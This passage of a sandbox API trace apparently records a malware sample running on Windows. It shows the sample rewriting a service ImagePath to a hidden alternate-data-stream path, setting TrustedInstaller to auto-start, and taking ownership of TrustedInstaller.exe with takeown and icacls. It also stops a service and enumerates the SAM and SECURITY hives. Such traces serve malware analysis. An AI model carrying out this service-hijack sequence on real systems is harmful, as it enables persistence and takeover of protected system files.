lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0169.366] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1a48, cbData=0x6) returned 0x6 [0169.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0169.366] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1a48, cbData=0x1) returned 0x6 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.367] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.367] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.367] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.367] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.367] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0169.367] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1c88, cbData=0x1) returned 0x6 [0169.367] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x803ea0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0169.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0169.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0169.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2f38 [0169.367] LocalFree (hMem=0x803ea0) returned 0x0 [0169.367] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1bf8, cbData=0x2f) returned 0x6 [0169.367] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x8038a0 [0169.368] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0169.621] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0169.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0169.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0169.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0169.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0169.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0169.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0169.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0169.621] RegCloseKey (hKey=0x14c) returned 0x0 [0169.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0169.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0169.622] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0169.622] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.623] GetLastError () returned 0x5 [0169.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0169.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2f38 [0169.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0169.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0169.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0169.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0169.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0169.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4d30 [0169.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0169.623] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe", lpProcessInformation=0x36f4a4*(hProcess=0x9c, hThread=0x14c, dwProcessId=0x2f8, dwThreadId=0x5fc)) returned 1 [0169.626] NtClose (Handle=0x14c) returned 0x0 [0169.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4d30) returned 1 [0169.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0169.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0169.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0169.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0169.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0169.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0169.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0169.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0169.627] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x2710) returned 0x0 [0169.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0169.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4d30 [0169.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0169.955] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x150, hThread=0x14c, dwProcessId=0x6e4, dwThreadId=0x68c)) returned 1 [0169.958] NtClose (Handle=0x14c) returned 0x0 [0169.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4d30) returned 1 [0169.958] NtClose (Handle=0x9c) returned 0x0 [0169.958] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x2710) returned 0x0 [0170.492] NtClose (Handle=0x150) returned 0x0 [0170.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2f38) returned 1 [0170.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0170.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0170.492] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.492] GetLastError () returned 0x5 [0170.492] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0170.493] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0170.493] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0170.493] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x20) returned 0x803990 [0170.494] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0170.494] GetLastError () returned 0x426 [0170.494] CloseServiceHandle (hSCObject=0x803990) returned 1 [0170.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0170.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0170.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0170.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0170.494] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0170.495] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0170.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0170.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.495] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0170.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0170.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.495] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0170.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0170.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0170.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.495] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0170.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0170.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.496] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0170.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0170.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.496] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0170.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0170.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.496] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0170.496] RegCloseKey (hKey=0x80000002) returned 0x0 [0170.496] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0170.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0170.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0170.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.497] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0170.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0170.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0170.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.497] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0170.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, 